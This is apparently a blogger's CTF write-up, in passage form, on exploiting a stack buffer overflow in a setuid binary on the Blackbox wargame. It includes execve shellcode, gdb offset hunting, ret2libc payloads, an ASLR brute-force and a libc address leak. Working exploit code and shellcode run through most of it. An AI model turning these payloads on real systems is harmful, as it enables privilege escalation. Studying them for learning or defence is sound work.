36 minute read

This post is about a personal journey through my experience solving a difficult CTF challenge and the respective process. It is designed to walk the reader through my thinking process, discoveries, and insights. If you only care for the technical details, see “Blackbox Level 2 Writeup” instead.

Introduction

I’ve always been a fan of CTF. I remember trying my first around 13 years old (maybe earlier), armed with a laptop leased to me for school work, VirtualBox, and VulnHub. So, it was a welcome challenge when my friend Brent introduced me to a CTF platform he’s been trying out; something called the Blackbox Wargames.

BlackBox is old and still utilizes HTTP over plaintext. If you decide to visit the website, be cautious; adversary-in-the-middle attacks are feasible.

On first glance, it seemed rather outdated and abandoned; I (thankfully) rarely see any sites still supporting plaintext HTTP. Still, I decided to jump in.

The First Attempt

In the interest of saving you some reading over a painstakingly easy first level, I’ll move forward to after I completed it and was able to login to the level2 user:

Discovery

Let’s take a look at the home folder for the level2 user.

level2@blackbox:~$ ls -l
total 16
-rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner
-rw-r--r-- 1 root   level2  488 2007-12-29 14:10 getowner.c
-rw-r--r-- 1 root   root      9 2008-01-24 05:53 password
level2@blackbox:~$ 

Immediately, the setuid bit on getowner jumps out. Since the owner is level3, if we can get getowner to execute some shellcode or a command, it should execute under the permission context of the level3 user.

Let’s take a look at the source code for getowner.

// /home/level2/getowner.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
	char *filename;
	char buf[128];

	if((filename = getenv("filename")) == NULL) {
		printf("No filename configured!\n");
		return 1;
	}

	while(*filename == '/')
		filename++;
	strcpy(buf, "/tmp/");
	strcpy(&buf[strlen(buf)], filename);

	struct stat stbuf;
	stat(buf, &stbuf);
	printf("The owner of this file is: %d\n", stbuf.st_uid);

	return 0;
}

Looks like it takes 128 characters of input from the filename environment variable, and uses it to find the user id of the owner of /tmp/<filename>. Let’s try it out:

level2@blackbox:~$ mktemp
/tmp/tmp.eRvAp18425
level2@blackbox:~$ filename="tmp.eRvAp18425" ./getowner
The owner of this file is: 1003
level2@blackbox:~$ id
uid=1003(level2) gid=1005(gamers) groups=1003(level2),1005(gamers)
level2@blackbox:~$ 

That is, indeed, what it does. Notably, though, there looks to be no bounds checking on the buffer used to store the filename variable…

char buf[128];
// [...]
while(*filename == '/')
	filename++;
// [...]
strcpy(buf, "/tmp/");
strcpy(&buf[strlen(buf)], filename);

If you’ve ever tried any kind of linux exploitation, it’s likely that you know what we’re looking at here. This is a classic buffer overflow vulnerability. So, what happens when I overflow the buffer?

level2@blackbox:~$ export filename=$(python2.4 -c 'print "A" * 150')
level2@blackbox:~$ ./getowner
The owner of this file is: -1216751964
Segmentation fault
level2@blackbox:~$ 

Crash. Time to have some fun!

If you’re unfamiliar with x86, the rest of the writeup is likely going to be no fun. I’ll do my best to explain, but I’m not perfect, so I highly recommend this video from Ben Eater on YouTube to understand a bit of x86. As an aside, Ben Eater is a great creator- go check out his content!

Debugging

So, why did we crash? To find out, we’ll have to use a debugger. I’ll use the GNU Debugger (a.k.a. gdb). Let’s give gdb the same input that crashed the program and see what happened.

level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) run
Starting program: /home/level2/getowner 
The owner of this file is: -1217259868

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) 

Looks like the value of the %eip register (program counter, points to current instruction address) was filled with 0x41414141 (AAAA). This makes sense in the context of a buffer overflow- our input data overflows the buffer and spills into the stack data that the processor needs to return from main(). We managed to fill that important stack data with useless A’s, which the processor interpreted as a return address.

Let’s take a moment to visualize the stack at the time of the strcpy() call which fills the buffer. It’s worth noting that strcpy() fills the buffer towards the high address, i.e., towards the ‘bottom’ of the stack frame (noted by the base pointer register, %ebp). stack-1-image

In short, since the strcpy() call doesn’t check how large the buffer actually is, it can overwrite the previously saved data on the stack, including $edi, $ebp, and $eip (the fun one). To determine exactly how many bytes we need in our input to hit the saved return address on the stack, we’ll need to either count stack variables in the source or use a tool that does it for us. I tend to prefer the latter, and have had great luck with this tool by Jason Rush. There are many that do the same thing (lots built into exploit development toolkits), but I have used this one for a while. Let’s try it out with a pattern generated from the tool:

level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) run
Starting program: /home/level2/getowner 
The owner of this file is: -1216633180

Program received signal SIGSEGV, Segmentation fault.
0x41356541 in ?? ()
(gdb)

Plugging in our %eip value back into the tool, we can see that the offset is 135 bytes: image

So, we need 135 bytes of junk data and then the next 4 bytes will be interpreted as the return address from main(). Let’s try it out:

level2@blackbox:~$ export filename=$(python2.4 -c 'print "A" * 135 + "B" * 4')
level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) run
Starting program: /home/level2/getowner 
The owner of this file is: -1217038684

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Bingo. This time, %eip = 0x42424242, which is BBBB, meaning we placed our return address correctly. Looks like we have all the information we need to put some shellcode on the stack, return to it, and win the password to level3.

Exploiting

In order to exploit this vulnerability, we’ll need to put some shell code onto the stack and point the return address to it. Once main() returns, our placed return address will be loaded into %eip and the processor will begin to execute the code we placed on the stack.

There are lots of shellcode libraries designed for this case. I’ll be using ExploitDB to find some shellcode that will work for us. In particular, let’s use this 25-byte execve(/bin/sh) Shellcode built for x86 Linux by bolonobolo. This shellcode should spawn an interactive shell for us under the permission context of the level3 user*.

// Exploit Title: Linux/x86 - execve /bin/sh ShellCode (25 bytes)
// Date: 2019-10-14
// Author: bolonobolo
// Vendor Homepage: None
// Software Link: None
// Tested on: Linux x86
// CVE: N/A

unsigned char code[] = \
"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80";

* Depending on shell and version, the builtin bash or sh may or may not check real uid for permissions instead of euid (effective uid, the one set by the suid bit). In these cases, we’d need a setuid() or similar call to allow the shell to spawn under the permission context of the file owner. However, in this scenario, I won’t worry about it.

Instead of blindly firing, let’s use gdb to help us build the rest of our exploit. We’ll break right before the strcpy() call, figure out the memory address of the buffer, and use it as a return address.

level2@blackbox:~$ export filename=$(python2.4 -c 'print "\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"')
level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x08048434 <main+0>:	push   %ebp
[...]
0x080484bf <main+139>:	mov    %eax,(%esp)
0x080484c2 <main+142>:	call   0x8048374 <strcpy@plt>
[...]
0x0804850b <main+215>:	pop    %edi
0x0804850c <main+216>:	pop    %ebp
0x0804850d <main+217>:	ret    
End of assembler dump.
(gdb) break *main+142
Breakpoint 1 at 0x80484c2
(gdb) run
Starting program: /home/level2/getowner 

Breakpoint 1, 0x080484c2 in main ()
(gdb) x/8x $esp
0xbfba6098:	0xbfba6105	0xbfba6ef3	0xbfba6100	0xb7640b6e
0xbfba60a8:	0x00000000	0x00000000	0x00756854	0xb7767d6c
(gdb) next
Single stepping until exit from function main, 
which has no line number information.
The owner of this file is: -1216874844
0xb7644ea8 in __libc_start_main () from /lib/tls/libc.so.6
(gdb) x/16b 0xbfba6105
0xbfba6105:	0x99	0xf7	0xe2	0x8d	0x08	0xbe	0x2f	0x2f
0xbfba610d:	0x73	0x68	0xbf	0x2f	0x62	0x69	0x6e	0x51
(gdb) 

Awesome, looks like we were able to find the buffer address as an argument for strcpy(), which is 0xbfba6105, and confirm that our shellcode lives at that address. Let’s use 0xbfba6105 as a return address, fire it off, and cross our fingers. This brings our payload to the following:

shellcode = "\x99\xf7\xe2\x8d\x08\xbe" + \
	"\x2f\x2f\x73\x68\xbf\x2f\x62\x69" + \
	"\x6e\x51\x56\x57\x8d\x1c\x24\xb0" + \
	"\x0b\xcd\x80"
junk = "A" * (135 - 24)
ret = "\x05\x61\xba\xbf"

payload = shellcode + junk + ret

Note that this is a little-endian architecture, meaning the least significant byte of data goes at the lowest memory address. This affects the memory representation of integers (in this case, our return address), so an integer like 0x11223344 will actually live in memory as 0x44332211. Because of this, we’ll need to input our return address as 0x0561babf.

Failure #1

Let’s fire it.

level2@blackbox:~$ export filename=$(python2.4 $temp/exploit.py)
level2@blackbox:~$ ./getowner
The owner of this file is: -1216518492
Segmentation fault
level2@blackbox:~$ 

Well, that didn’t work. I wonder what happened; let’s pop it open and take a look with gdb.

level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) run
Starting program: /home/level2/getowner 
The owner of this file is: -1216858460

Program received signal SIGSEGV, Segmentation fault.
0xbfba6105 in ?? ()
(gdb) 

Looks like our return address is correct, so we should be executing that data. Unless…

danny:tmp.mvZAy3IupS danny$ scp -P 2225 -oHostKeyAlgorithms=+ssh-rsa level2@blackbox.smashthestack.org:/home/level2/getowner .
danny:tmp.mvZAy3IupS danny$ checksec getowner
[*] '/private/var/folders/kh/jf9yb7wn0b7dq74lxk6strj00000gn/T/tmp.mvZAy3IupS/getowner'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
danny:tmp.mvZAy3IupS danny$ 

Uh oh.

The First Hurdle: DEP

DEP, or Data Execution Prevention, is a system security technique used to prevent some more trivial buffer overflow or other ACE (Arbitrary Code Execution) vulnerabilities. Essentially, it uses a No eXecute (NX) bit to flag certain memory regions as non-executable.

Effectively, DEP ensures that every memory region is either permissioned with rw- (read and write, no execute) or r-x (read and execute, no write)*. In our case, this means that the operating system disallows execution of any instructions placed on the stack (or other writable memory regions).

* There are r-- (read-only) memory regions too, but we don’t care about them for now.

ret2libc

A return-to-libc attack, or ret2libc, is a DEP bypass technique that is viable in this scenario. Essentially, instead of trying to write our own code to a rw- region, we can just use already existing code in a r-x region that does what we want.

Luckily for us, everything that we need to actually spawn a shell is already loaded into memory by getowner:

// /home/level2/getowner.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

getowner utilizes the GNU C Library, known as libc, in order to interact with the filesystem and I/O handles. The standard library includes other functions, too, though- namely, it includes system() (?), which can be used to run a command from a shell.

Basically, instead of trying to return to some shellcode on the stack (rw-) that will execute system("/bin/sh"), we can overwrite the return address to libc’s system() address (r-x) and pass it an argument to a /bin/sh string (which the library also includes, but we can put that on the stack if we’d rather).

If you’re unfamiliar with x86 calling convention, now would be a good time to familiarize yourself with it if you want to enjoy the rest of the article. Here’s a great visual example of the call procedure, provided by Connor Stack on YouTube.

Let’s use gdb to find the address of libc’s system(). We’ll also want to grab the address of exit() (?), so that our exploit exits cleanly instead of crashing.

level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) start
Breakpoint 1 at 0x8048438
Starting program: /home/level2/getowner 
0x08048438 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb76e29b0 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xb76d8420 <exit>
(gdb)

Sweet, we know that system = 0xb76e29b0 and exit = 0xb76d8420. I’ll go ahead and use objdump (?) and strings (?) to find the address of the /bin/sh string baked into libc in order to use it as an argument for our system() call.

level2@blackbox:~$ objdump -T /lib/tls/libc.so.6 | grep system
000359b0  w   DF .text	0000007d  GLIBC_2.0   system
000f1a10 g    DF .text	00000042  GLIBC_2.0   svcerr_systemerr
000359b0 g    DF .text	0000007d  GLIBC_PRIVATE __libc_system
level2@blackbox:~$ strings -at x /lib/tls/libc.so.6 | grep "/bin/sh"
 120dce /bin/sh
level2@blackbox:~$ 

Looks like system = <libc_base> + 0x359b0 and "/bin/sh" = <libc_base> + 0x120dce. Now, we have enough information to deduce the memory address of the /bin/sh string by using some basic mathematics. We can use these values to craft our payload in the following manner:

junk = "A" * 135

libc_system = "\xb0\x29\x6e\xb7"
libc_exit = "\x20\x84\x6d\xb7"

# libc_base = 0xb76e29b0 - 0x359b0 = 0xb76ad000
# libc_str = libc_base + 0x120dce = 0xb77cddce
libc_str = "\xce\xdd\x7c\xb7"

payload = junk + libc_system + libc_exit + libc_str

Let’s take another moment to visualize how the stack and some important memory addresses will look with this payload.

image

* Libraries have independent sections that are permissioned differently, so it’s inaccurate to say that all of libc is r-x. We’ll talk about this more later.

After main() returns, %eip will be overwritten with the memory address of libc’s system(), which will start to run. Since it expects one argument, it will use relative addressing ($esp + 0x4) to grab our pointer to "/bin/sh" as an argument, therefore running /bin/sh as a shell command, spawning an interactive shell for us. Once it’s finished, it will pop the return address, returning and exiting cleanly via exit(). Seems like a successful ret2libc attack!

If you’re curious as to why the argument for system() is placed after the return address, see this great answer by plonk on StackOverflow.

Failure #2

Let’s try it out.

level2@blackbox:~$ export filename=$(python2.4 $temp/exploit.py)
level2@blackbox:~$ ./getowner
The owner of this file is: -1216928092
Segmentation fault
level2@blackbox:~$ 

Great. What now? I’m getting tired of launching gdb

level2@blackbox:~$ gdb -q ./getowner
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) break *main+217
Breakpoint 1 at 0x804850d
(gdb) run
Starting program: /home/level2/getowner 
The owner of this file is: -1217014108

Breakpoint 1, 0x0804850d in main ()
(gdb) x/x $esp
0xbfd3a04c:	0xb76e29b0
(gdb) step 1
Single stepping until exit from function main, 
which has no line number information.
Cannot access memory at address 0x41414145
(gdb) print $eip
$1 = (void (*)()) 0xb76e29b0 <argp_failure+6976>
(gdb) print system
$2 = {<text variable, no debug info>} 0xb76439b0 <system>
(gdb) 

It looks like our exploit didn’t work because we ended up in libc’s argp_failure() routine instead of system(). Also, it looks like the address of system() is 0xb76439b0, which is different than our expected address of 0xb76e29b0… Why?

The Second Hurdle: ASLR

Address Space Layout Randomization, or ASLR, is yet another system security technique that does exactly what the name implies: randomizes the virtual address space layout for each process that spawns. By doing so, it can prevent an attacker from accurately predicting the memory address of shared library data*.

* Kinda- you’ll see later.

Context

There are a few things I have to tell you about ASLR.

  1. ASLR randomizes the address space layout of the program at runtime. That is, it happens when the process is spawned. If the process is spawned once, then no matter how many times it actually runs or calls main or whatever else, memory addresses will be the same.
  2. ASLR doesn’t change the virtual memory addresses of the target program (i.e. main() and/or other functions provided by getowner or statically linked libraries). So, if the memory address of main() is at 0x8048434, it will always live at 0x8048434*.
  3. The way ASLR randomizes libraries must not compromise those libraries’ functionality. If ASLR were to shuffle every byte in the library, the data held within would certainly make no sense. If it were even to randomize the order of the routines or memory regions in those libraries, the library still would break. Instead, you can think of ASLR’s randomization like reorganizing books on a shelf, by picking up an entire book and placing it somewhere else on the shelf. This way, the pages within the book (like data within a library) are still in order, and the book still makes sense, but the book and therefore its pages are all in a different spot on the shelf. By the analogy, the library and its data (including routines) are all at different memory addresses.

* Except when PIC is enabled, which I’ll mention later.

These observations leave us with some interesting ideas about bypassing ASLR:

  1. Because of the way that ASLR randomizes libraries, we can utilize relative offsets (like the ones we found in ret2libc for system() and "/bin/sh") to calculate the base address of a library. By using the base address, we can accurately calculate the virtual addresses of any function or data within the library.
  2. Since ASLR happens at runtime, subsequent calls of main() will not have their address space layout randomized, as long as the process is spawned only once. Thus, if we overwrite the return address back to main(), the 2nd run will have the same virtual addresses as the 1st.

If we can get the 1st run of main() to leak some libc address, and the 2nd run of main() to take different input than the 1st, we can utilize these observations to completely bypass ASLR.

Demonstration & Sampling

Using ldd (?), we can see the virtual memory addresses of shared libraries. Let’s check the virtual address of libc for getowner a few times.

level2@blackbox:~$ ldd ./getowner | grep libc
	libc.so.6 => /lib/tls/libc.so.6 (0xb7603000)
level2@blackbox:~$ ldd ./getowner | grep libc
	libc.so.6 => /lib/tls/libc.so.6 (0xb7617000)
level2@blackbox:~$ ldd ./getowner | grep libc
	libc.so.6 => /lib/tls/libc.so.6 (0xb75b9000)
level2@blackbox:~$ ldd ./getowner | grep libc
	libc.so.6 => /lib/tls/libc.so.6 (0xb7617000)
level2@blackbox:~$ ldd ./getowner | grep libc
	libc.so.6 => /lib/tls/libc.so.6 (0xb767d000)
level2@blackbox:~$ ldd ./getowner | grep libc
	libc.so.6 => /lib/tls/libc.so.6 (0xb75c7000)
level2@blackbox:~$ ldd ./getowner | grep libc
	libc.so.6 => /lib/tls/libc.so.6 (0xb75eb000)
level2@blackbox:~$ 

That’s interesting; the library address isn’t completely random, but seems to follow a format of 0xb7___000. The trailing 000 is because libraries are loaded page-aligned in Linux (see the explanation of mmap base randomization). Let’s see how much entropy is actually in these addresses…

Hexadecimal Binary
b7603000 10110111011000000011000000000000
b7617000 10110111011000010111000000000000
b75b9000 10110111010110111001000000000000
b7617000 10110111011000010111000000000000
b767d000 10110111011001111101000000000000
b75c7000 10110111010111000111000000000000
b75eb000 10110111010111101011000000000000

It looks like the common bits are 1011011101_________1000000000000. There are 9 unpredictable bits here, so a maximum of 29 = 512 different combinations.

Weirdly enough, the system configuration disagrees:

level2@blackbox:~$ cat /proc/sys/vm/mmap_min_addr 
4096
level2@blackbox:~$ 

I’m still not sure why the config shows 4096 bits on a 32-bit system, but in any case, the observed 9 bits of entropy is small enough to bruteforce the address instead of actually bypassing ASLR.

A Taste of Victory

Since there are only 512 possible combinations at most, every time we run our ret2libc exploit, there is a 1/512 chance (or higher) that we actually hit the correct memory layout and return to a system("/bin/sh") call, spawning an interactive shell instead of crashing. It’s completely up to the mercy of ASLR, but if we try enough times, it should happen at least once.

Let’s throw it in a while true loop and try it:

Success!! We finally bested level 2. Moving on with my life now.

The Third Hurdle: Ego

After beating level 2, I breezed through levels 3, 4, and 5. I couldn’t help but notice the comparative trivia of the proceeding 3 levels, even after not having to bypass ASLR, instead opting for a bruteforce. Surely level 2 wasn’t meant to be this difficult, right?

Discovery

Curiosity got the best of me and I decided to look at someone else’s solution. I stumbled across this writeup made by s9ghost, which clearly shows that neither ASLR nor DEP was implemented as of July 2012:

Let's rewrite out filename environmental variable:

    level2@blackbox:/tmp/.somedir$ export filename=`perl -e 'print "A"x151,"\x7f\xdb\xff\xbf"'`

Now let's see what happens when we run the vulnerable getowner program:

    level2@blackbox:~$ ./getowner
    The owner of this file is: 0
    sh-3.1$ whoami
    level3

There we have it, shell as level3.

So, indeed, bypassing DEP and bruteforcing ASLR was not the intended solution. A simple buffer overflow with some shellcode written on the stack(^) was the intended solution. In fact, I couldn’t find a single instance of someone mentioning ASLR in this challenge, with the only mention of an NX bit being this 0-karma reddit thread posted by u/jonman364. How could this happen?

Well, either:
A. The developers of this CTF decided to rework level 2,
B. A system update made the challenge significantly more difficult, or
C. Another challenger who has rooted (?) the box decided to tighten security.

I found scenario A unlikely. The difficulty of level 2 felt so out of place; levels 1, 3, 4, and 5 took me less than an hour of combined effort whereas I spent an entire night trying level 2. I supposed scenario B was possible, but there was a more shocking idea: scenario C.

I couldn’t stand the thought of scenario C. CTFs are designed to be learning grounds. Courtesy is absolutely necessary- playgrounds like this one are one of the best ways to train a new generation of hackers willing to make the world a better place. To go out of your way in an attempt to ruin someone else’s learning experience is nothing short of inconsiderate at best, or outright malicious at worst.

Challenge

The idea of someone attempting to ruin this CTF experience bothered me so much that I set out to prove to myself that I could thwart their attempt. I already had a few ideas about bypassing ASLR, and I’ve had a few years of offensive security experience by now, so it really shouldn’t be that hard, right?

I’m not entirely sure of the reason that I was so dedicated to this. Honestly, I didn’t even really know if this was really a malicious attempt at ruining someone else’s experience or a benign and unintended system update. Still, I decided that if I could find a way to truly bypass ASLR and DEP, it would serve as proof to myself that I actually knew a thing or two about exploit development; that it was, in fact, not luck or some kind of divine intervention. I could prove that I was skilled and dedicated to learning as much as I could; and that was worth pursuing.

Digging Deeper

So, I started thinking. In order to truly bypass ASLR, we need an address leak. With an address leak, we’ll be able to calculate any randomized address in the same mapping as the address leak.

Let’s go back to the “books on a shelf” example. If a shared library like libc is a book on the shelf, then its “base address” is the front cover, and each function or piece of data in the library is like a page in the book. By knowing where the front cover is on the shelf, we can derive the location of any page in the book. Similarly, by knowing the location of a page in the book, we can derive the location of the front cover, and by extension any other page in the book.

Can we leak a memory address from libc? What data does getowner actually give us?

level2@blackbox:~$ filename="tmp.eRvAp18425" ./getowner
The owner of this file is: 1003
level2@blackbox:~$

It gives us a uid- specifically, the uid of the owner of /tmp/<filename>. Where does it get that uid?

struct stat stbuf;
stat(buf, &stbuf);
printf("The owner of this file is: %d\n", stbuf.st_uid);

From libc’s stat() (?). What if the file doesn’t exist?

level2@blackbox:~$ filename=$(cat /dev/urandom | head -c5 | md5sum) ./getowner
The owner of this file is: -1217083740
level2@blackbox:~$ 

A random number..? What even is this random number?

image

Wait. That value, 0xb774c6a4, looks like a memory address; just like the ones we saw for system() and exit(). I wonder if it’s a leaking libc address? If so, it should always be some set distance away from a libc function like system()

image

Wow. That value is always 0x119cf4 bytes away from system(). I should have bought a lottery ticket.

Plan A

With a memory leak, it seems like we’re armed with enough knowledge to bypass ASLR and perform a ret2libc attack, crafting a reliable exploit. Let’s write out the plan:

  1. Feed main() with a payload that will overwrite the return address back to main(). This serves to obtain our leaked address while also “resetting” main() without changing that randomized address.
    • The address of main() is predictable because ASLR doesn’t affect the memory addresses of getowner or any statically-linked libraries.
  2. Use the leaked address to calculate memory addresses for system(), exit(), and "/bin/sh" in libc.
  3. Create a new payload with our calculated addresses and feed it back to the 2nd run of main(), overwriting its return address with the address of system().
  4. Once main() returns again, it will make a system("/bin/sh") call, spawning an interactive shell, and exiting cleanly with exit().
  5. Profit.

Wait, but how do we feed the calculated payload to the second iteration of main()?

char *filename = getenv("filename");
while(*filename == '/')
	filename++;
strcpy(buf, "/tmp/");
strcpy(&buf[strlen(buf)], filename);

main() ingests filename via an environment variable and a call to libc’s getenv() (?). When a new child process is spawned in Linux, it inherits a copy of the parent process’ environment variables; this is how getowner receives a copy of our filename data. But that’s just the thing- it receives a copy of our environment variables, not pointers. So, we can’t change the parent process’ environment variables and expect that change to propagate to the child process.

If we can’t change the input data by updating the parent process’ environment variables, maybe there’s some other channel we can utilize to update the input data. Obviously, one of the functions that we can call back to is main(), but getowner.c doesn’t define any other functions. I wonder if there are others that we can utilize?

Linking, PLT, and GOT

Shared objects and libraries like libc are usually dynamically-linked. Dynamically-linked libraries aren’t compiled with getowner.c; instead, getowner relies on the linker to load shared objects and resolve the necessary references to them (like library function calls) at runtime. The Procedure Linkage Table (PLT) and Global Offset Table (GOT) are crucial components of this process.

Each dynamically bound ELF (?) program comes with .plt, .got, and .got.plt sections. PLT entries live in the .plt section, which is permissioned with r-x. The GOT entries live in the .got and .got.plt sections, which are permissioned with rw-.

Think about this: when you write and compile code, you do so with no knowledge of the memory addresses of any external functions that you use like printf() (?). When your code utilizes dynamic linking, the compiler has no knowledge of where those external functions are either. Your code must know the addresses of these functions if it wants to run them.

That is the job of the linker- and, by implementation, the PLT and GOT.

So, what actually happens when getowner calls getenv(), stat(), or printf()? Let’s disassemble getowner using objdump and gdb to find out.

From this point forward, I’ll be doing testing and debugging on a local x86 Ubuntu 16.04 box instead of the CTF host. I’ll also be utilizing PEDA, an extension for gdb that implements exploit development assistance.

danny:level2 danny$ objdump -j .text \
 --disassemble-symbols=main \
 --no-show-raw-insn ./getowner

./getowner:	file format elf32-i386

Disassembly of section .text:

08048434 <main>:
 8048434:      	pushl	%ebp
 8048435:      	movl	%esp, %ebp
 8048437:      	pushl	%edi
 [...]
 8048445:      	calll	0x8048314 <getenv@plt>
 [...]
 804845a:      	calll	0x8048324 <puts@plt>
 [...]
 804850b:      	popl	%edi
 804850c:      	popl	%ebp
 804850d:      	retl
danny:level2 danny$ 

Looks like the getenv() call in the C source code for getowner was compiled to a call <getenv@plt> instruction. The same thing happened for the first printf(), which was optimized by the compiler to puts(). What exactly are these PLT functions?

danny:level2 danny$ objdump -j .plt \
 --disassemble-symbols="getenv@plt" \
 --print-imm-hex \
 --no-show-raw-insn ./getowner

./getowner:	file format elf32-i386

Disassembly of section .plt:

08048314 <getenv@plt>:
 8048314:      	jmpl	*0x804978c
 804831a:      	pushl	$0x0
 804831f:      	jmp	0x8048304 <.plt>
danny:level2 danny$ 

Okay, so it looks like getenv@plt does… um, something? It kinda seems like magic to me.

Let’s focus on the first instruction: jmpl *0x804978c. This instruction does a memory read on address 0x804978c and unconditionally jumps to the address stored there. So, if 0x08048434 (address of main) was stored at 0x804978c, this instruction would immediately jump to main().

What actually is 0x804978c, though? Is it just some arbitrary writable address?

danny:level2 danny$ objdump --section-headers \
 ./getowner

./getowner:	file format elf32-i386

Sections:
Idx Name            Size     VMA      Type
  0                 00000000 00000000 
  1 .interp         00000013 08048114 DATA
  2 .note.ABI-tag   00000020 08048128 
  3 .hash           00000038 08048148 DATA
  [...]
 18 .jcr            00000004 080496b0 DATA
 19 .dynamic        000000c8 080496b4 
 20 .got            00000004 0804977c DATA
 21 .got.plt        00000028 08049780 DATA
 22 .data           0000000c 080497a8 DATA
 [...]
 33 .strtab         00000335 00000000 
danny:level2 danny$ 

Ah, okay; that address is one in the .got.plt section, which ranges from memory addresses 0x08049780 - 0x080497a7. So, this would be a GOT entry.

For more information on the .got and .got.plt sections, see this answer from JohnTortugo on StackOverflow.

What data is at that memory address by default?

danny@ubuntu:~/level2$ gdb -q ./getowner
Reading symbols from ./getowner...done.
gdb-peda$ start

Temporary breakpoint 1, 0x08048438 in main ()
gdb-peda$ x/x 0x804978c
0x804978c <getenv@got.plt>:	0x0804831a
gdb-peda$ info symbol 0x0804831a
getenv@plt + 6 in section .plt of /home/danny/level2/getowner
gdb-peda$ 

0x0804831a is stored at that address by default, which is another instruction in our getenv@plt routine:

08048314 <getenv@plt>:
 8048314:      	jmpl	*0x804978c
 804831a:      	pushl	$0x0
 804831f:      	jmp	0x8048304 <.plt>

Wait, so getenv@plt makes a completely unnecessary jump back to itself? Yes, that’s correct- but be careful to notice the other jump. After the first jump, it looks like we push 0x0 onto the stack and then jump to the top of the .plt section. Let’s take a look at that:

danny@ubuntu:~/level2$ objdump -d -j .plt \
 --print-imm-hex --no-show-raw-insn ./getowner

./getowner:	file format ELF32-i386

Disassembly of section .plt:
.plt:
 8048304:	pushl	0x8049784
 804830a:	jmpl	*0x8049788
 [...]
 804837f:	jmp	-0x80 <.plt>
danny@ubuntu:~/level2$ 

Great, another memory read jump, this time to the address stored at 0x8049788. Let’s track this one down in gdb.

danny@ubuntu:~/level2$ gdb -q ./getowner
Reading symbols from ./getowner...done.
gdb-peda$ start

Temporary breakpoint 1, 0x08048438 in main ()
gdb-peda$ x/x 0x8049788
0x8049788:	0xb7712000
gdb-peda$ info symbol 0xb7712000
_dl_runtime_resolve in section .text of /lib/ld-linux.so.2
gdb-peda$ 

It’s starting to make sense now. The data at 0x8049788 is the memory address of the _dl_runtime_resolve() function, which (based on the name “dynamic linker, runtime resolve”) likely resolves the getenv() address. Don’t ask me how it works- as far as my understanding goes, this process is dark magic incarnate.

What I can tell you, though, is that _dl_runtime_resolve() does some really clever things after resolving the address:

  1. It stores the resolved address in the GOT slot for the function it was trying to resolve.
    • In our getenv example, this slot is 0x804978c (the getenv@got.plt symbol).
    • It knows which slot to store the resolved address in because we pushed an index onto the stack (i.e. 0x0), as well as a GOT base address (i.e. 0x8049784).
  2. It jumps to the resolved address.

By storing the resolved address on the GOT, the resolver function ensures that any subsequent calls to getenv@plt will jump directly to the resolved address for getenv. Furthermore, by jumping to the resolved address, _dl_runtime_resolve() ensures that the very first call to getenv@plt also ends up calling the real getenv (after resolution of course).

Let’s step through it to see the process. I’ll debug this simple C program:

#include <stdio.h>

int main() {
	puts("This call should resolve puts.\n");
	puts("Now, no resolution necessary!\n");
	return 0;
}

The .text section of an ELF (like libc or getowner) is the section where executable code goes.

By setting a breakpoint at puts@plt, we can observe some important data when puts() is called. On the first call, the GOT entry at 0x804a00c points to 0x80482e6, which leads to our magic resolver function. On the second call, the GOT entry points directly to 0xb7e76cb0, which is libc’s puts().

Application

Now we know that ELF programs contain a table of all of the resolved addresses of imported library functions (as long as they’ve been called once), and understand the process behind it.

What kind of information about getowner does its PLT and GOT give us? I wonder if there’s a function there that we can use to receive more input for a second stage?

danny@ubuntu:~/level2$ /usr/bin/objdump -T ./getowner

./getowner:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000      DF *UND*	000000ef  GLIBC_2.0   getenv
00000000      DF *UND*	0000017f  GLIBC_2.0   puts
00000000      DF *UND*	0000008d  GLIBC_2.0   __xstat
00000000      DF *UND*	000000e7  GLIBC_2.0   __libc_start_main
00000000      DF *UND*	00000039  GLIBC_2.0   printf
08048654 g    DO .rodata	00000004  Base        _IO_stdin_used
00000000  w   D  *UND*	00000000              __gmon_start__
00000000      DF *UND*	00000020  GLIBC_2.0   strcpy

danny@ubuntu:~/level2$ 

Looks like we can use libc’s getenv(), puts(), __xstat(), __libc_start_main(), printf(), and strcpy() by jumping to their PLT entries. Once they’re called for the first time, their resolved addresses are available to us on the GOT, so if we really need a different memory leak, we can return to puts() and have it leak an address. What do those functions do?

Function Description
getenv Returns environment variable value
puts Prints a string to stdout
__xstat Gets file information
__libc_start_main Handles program execution (?)
printf Formats a string and prints it to stdout
strcpy Copies or concatenates a string

It doesn’t look like any of these functions could allow us to give getowner some calculated input. Maybe I could use xstat to ingest a file name, but at the very best, it would create a race condition and an unreliable exploit. I wish I could use gets() or some other function that takes data from stdin (?), but unfortunately, it’s not something the program imports.

The Break

